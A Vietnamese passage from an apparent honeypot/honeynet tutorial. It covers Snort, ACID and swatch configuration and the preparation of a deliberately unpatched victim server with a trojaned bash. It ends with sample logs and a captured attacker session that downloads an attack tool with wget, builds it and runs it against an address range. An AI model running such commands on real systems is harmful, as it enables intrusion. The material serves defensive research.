chắn rằng thiết bị IDS phải được bổ sung bằng những bản update mới nhất từ Red Hat.com, bởi vì một vài thành phần mà chúng ta phải sử dụng mới có (chẳng hạn như PHP). Cấu hình Snort sử dụng file cấu hình như được chỉ ra dưới đây. Ví dụ này sẽ miêu tả sự thay đổi từ Snort mặc định file 1.8.x /etc/snort/snort.conf được thiết kế cho honeypots. Đặc điểm chính là ghi nhận lại tất cả những truyền thông, logging lớn nhất và những dấu hiệu tấn công lớn nhất. output alert_syslog: LOG_AUTH LOG_ALERT output log_tcpdump: snort.log output database: log, mysql, user=snort dbname=snort_db host=localhost output alert_full: snort_full output alert_fast: snort_fast # Logging tcp log tcp any any $HOME_NET any (msg: "Unmatched TCP";session: printable;) # Logging udp log udp any any $HOME_NET any (msg: "Unmatched UDP";session: printable;) # Logging icmp log icmp any any $HOME_NET any (msg: "Unmatched ICMP";session: printable;) Phần còn lại để như file cấu hình mặc định. Trước khi Snort có thể log vào cơ sở dữ liệu, bạn phải thao tác thêm một vài bước xác định. Những bước này được miêu tả trong file README.mysql đi kèm với Snort. Tạo lập cơ sơ dữ liệu, tiến hành theo schema và nhiều hơn nữa, tất cả đều được thực hiện thông qua những script đi kèm. Không cần phải có kinh nghiệm đói với cơ sở dữ liệu. Sau đó, thiết lập ACID như sau: 1. Download phần cài đặt từ ACID web site ( 2. Giải nén ACID vào 1 thư mục có thể truy nhập được bằng your web server (như /var/www/html/acid trên Red Hat Linux). 3. Phải chắc chắn rằng những phần mềm yêu cầu đã tồn tại trên máy. Cơ sở dữ liệu MySQL database, PHP, và một Apache web server là những thành phần được yêu cầu và thưồng có sẵn trong Linux. 4. Phát triển những thư viện cần thiết từ những website (ADOdb, PHPlot, GD, và JPGraph. Hãy tìm chúng qua ) 5. Thay đổi file acid_conf.php trong thư mục ACID để chỉ ra vị trí chính zác của các thư viện đó. Một số thông số cần điều chỉnh lại là $Dbtype, $alert_dbname, $alert_host, $alert_port, $alert_user, và $alert_password. 6. Mở web browser và chạy Sau đó, chạy ACID lần đầu tiên. Phần mềm sẽ hỏi 1 vài cấu hình cần làm, hãy theo những chỉ dẫn đó. Sự thay đổi đạt được bằng cách nhấn vào một số nút lện trên trang đó, chẳng hạn như "Create ACID AG". 7. Nếu có sự kiện gì xảy ra trong cơ sở dữ liệu snort, nó sẽ được hiển thị thông qua ACID console. Hướng dẫn cài đặt chi tiết được cung cấp tại ACID web site. Bây giờ chúng ta sẽ phát triển swatch (một công cụ giám sát log thời gian thực). Swatch được cấu hình như sau: watchfor /snort/ echo red throttle 05:00 # mail alert to admin mail addressess=anton,subject=--- Snort IDS Alert --- ### Connection TO the pot! We are being probed watchfor /INBOUND/ echo green throttle 05:00 # mail alert to me mail addressess=anton,subject=--- Pot probed --- ### Firewall discovery attempted! Good attacker is IN! watchfor /TRY TO FW/ echo red throttle 10:00 # mail alert to me mail addressess=anton,subject=--- FW probed --- Cuối cùng, bạn kết thúc với 1 thiết bị mà ghi lại tất cả các truyền thông (như snort) và cảnh báo trên các cuộc tấn công (Snort), lưu trữ tất cả các cảnh báo trong cơ sở dữ liệu (MySQL), và cho phép truy cập từ xa qua giao diện web tới cơ sở dữ liệu để tìm kiếm và đồ họa (ACID). Những thiết bị này được cấu hình giống nhau trên cả honeypot GenI và GenII bởi vì mọi sự khác nhau chỉ diễn ra trên việc cài đặt firewall. 20.2.1.3 Cài đặt máy Victim: Bước tiếp theo của bạn là cấu hình 1 máy victim. Trong ví dụ của chúng tôi, máy victim được mặc định là Red Hat server. Bạn hãy cố gắng để có bản mới nhất của victim, chẳng hạn như Red Hat 7.1, để chắc chắn rằng những hiểm họa về an toàn không làm việc trên những phiên bản cũ. Tuy nhiên, những update của phiên bản cũ đã bị hack thông qua FTP, HTTP, BIND, hoặc SSH, được cung cấp bởi nhà phân phối lại không được cài đặt (bởi vì nó là 1 honeypot). Đây là các bước trực tiếp để cài đặt 1 máy victim: 1. Đầu tiên, sử dụng công cụ sterilize để xóa bỏ 1 cách tin tưởng những phần còn lại của người sử dụng máy trước đó. Những công cụ đó có thể tìm thấy tại Cho đĩa vào, trả lời những câu hỏi đơn giản và mọi thứ sẽ được hoàn toàn xóa khỏi máy của bạn. 2. Cài đặt server, sử dụng 1 trong những địa chỉ IP (như172.16.1.1), và đặt tên cho máy và nếu cần thiết đặt cả domain. 3. Phải chắc chắn rằng những dịch vụ như FTP, HTTP/HTTPS, POP3, SSH, DNS, NTP, SMTP, SNMP, web cache, telnet, NFS, SMB, và những thứ khác được bắt đầu bằng cách sử dụng các file cấu hình của chúng. Mỗi dịch vụ được bắt đầu trong 1 xinetd daemon. Vào /etc/xinetd.d và thay đổi "disabled=yes" thành "disabled=no" trong những file có chứa nó. Để khởi động tất cả những dịch vụ khác (chẳng hạn như web server), hãy thêm vào những script khởi động thích hợp trong rc.local. Ví dụ, đối với 1 web server, /etc/rc.d/init.d/httpd bắt đầu vào trong /etc/rc.local. Cài đặt thêm những network daemons cần thiết. 4. Thay thế bash bằng Trojaned bash sử dụng những bản vá honeynet từ website của dự án:( Theo chỉ dẫn được cung cấp trong bản vá để cấu hình và ứng dụng nó. Sau khi phát triển shell trên máy victim, hãy gỡ bỏ những shell khác (như tcsh và ash) với lệnh rpm -e Trojan bash chuyển những thay đổi từ tất cả những kẻ tấn công đối với bạn. Thực tế rằng Trojan bash không nghe ngóng ở những phần thiết yếu của attacker, nó không hiệu quả cho những người dùng honeynet tình cờ. Đối với những honeynet phát triển hơn, những người phát triển dự án lựa chọn những sniffer chuyển đổi sebek. Chương trình này được giấu trong hệ thống victim và được chuyển ngầm tới các lệnh. Sự giao tiếp này không thể bị sniff từ thiết bị victim. 5. Nếu bạn muốn, cài đặt và chạy Tripwire. Chúng tôi thích cài đặt Tripwire theo mặc định và cũng chạy AIDE từ 1 đĩa mêmd. Theo cách này, bạn có thể tìm kiếm những kẻ tấn công trong nỗ lực xâm nhập vào dữ liệu Tripwire (chuyện này vẫn chưa bao giờ xảy ra với chúng tôi, nhưng chúng tôi hi vọng nó sẽ xảy ra) bởi vì AIDE cung cấp 1 cách đáng tin tưởng để chỉ ra những file đã được thay đổi. Đó là những gì bạn phải làm, và bạn đã thiết lập xong một hệ thống victim. 20.2.1.4 Bước cuối cùng: Liên kết các thiết bị trên với nhau như hình Figure 20-1, nhưng không kết nối chúng với internet vội. Kiểm tra để đảm bảo rằng IDS ghi nhận được tất cả những truyền thông và gửi cảnh báo khi xuất hiện những kết nối từ máy firewall tới máy victim. Đồng thời bạn cũng phải chắc chắn rằng những keystrok đều được bắt giữ. Sau đó kết nối hệ thống tới những điểm truy cập internet và chờ đợi những kẻ tấn công, những worm. Lúc này bạn đã chính thức đứng trong những người làm honeynet. 20.3 Nắm bắt những cuộc tấn công: Một khi hệ thống honeynet của bạn tồn tại, chuyện gì sẽ xảy ra tiếp theo? Bạn sẽ đi vào 1 trong những trường hợp được chỉ ra sau đây. Đây là những khả năng (được báo cáo bởi iptables firewall): Jun 25 18:14:47 fw kernel: INBOUND: IN=eth0 OUT=eth1 SRC=E.V.I.L DST=H.O.N.EY LEN=48 TOS=0x00 PREC=0x00 TTL=113 ID=48230 DF PROTO=TCP SPT=2934 DPT=21 WINDOW=8192 RES=0x00 SYN URGP=0 Ví dụ này là 1 khai thác thành công (do snort báo cáo): 06/25-18:15:03.586794 [**] [1:1378:7] FTP wu-ftp file completion attempt { [**] [Classification: Misc Attack] [Priority: 2] {TCP} 63.161.21.75:3976 -> 10.1.1.2:21 Đây là 1 hệ thống đã bị sở hữu (do snort báo cáo): Jun 25 18:017:38 ids snort: [1:498:3] ATTACK RESPONSES id check returned root [Classification: Potentially Bad Traffic] [Priority: 2]: {TCP} 10.1.1.2:21 -> 63.161.21.75:3977 Ví dụ tiếp theo, kẻ tấn công sử dụng command-session để kiểm tra có những ai trên hệ thống, bảo vệ nó và nhận những bước quét hệ thống để xâm nhập của anh ta, và bắt đầu tìm kiếm những lỗ hổng khác để khai thác (đây thực sự là 1 phiên capture nhưng địa chỉ web đã được thay đổi): w ls cd /dev/ida ls echo "anonymous" >> /etc/users echo "ftp" >>/etc/ftpusers echo "anonymous" >>/etc/ftpusers echo "anonymous" >> /etc/user wget www.geocities.com/replaced_for_privacy/awu.tgz tar zxvf awu.tgz cd aw make ./awu 63.190 Một lưu ý rất thú vị rằng bằng cách sử cd /dev/ida; ls kẻ tấn công kiểm tra những rootkit của anh ta đã cài đặt lên hệ thống. Anh ta cũng thực hiện những thao tác củng cố hệ thống đơn giản để ngăn chặn những kẻ khai thác khác cũng giống như anh ta (chẳng hạn như không cho phép những truy cập FTP tới những lỗ hổng nhất định). Kỹ thuật này là một trong những chuẩn luyện tập mới của những script kiddies.

Các file đính kèm theo tài liệu này:

  • pdfHoneypots.pdf
Tài liệu liên quan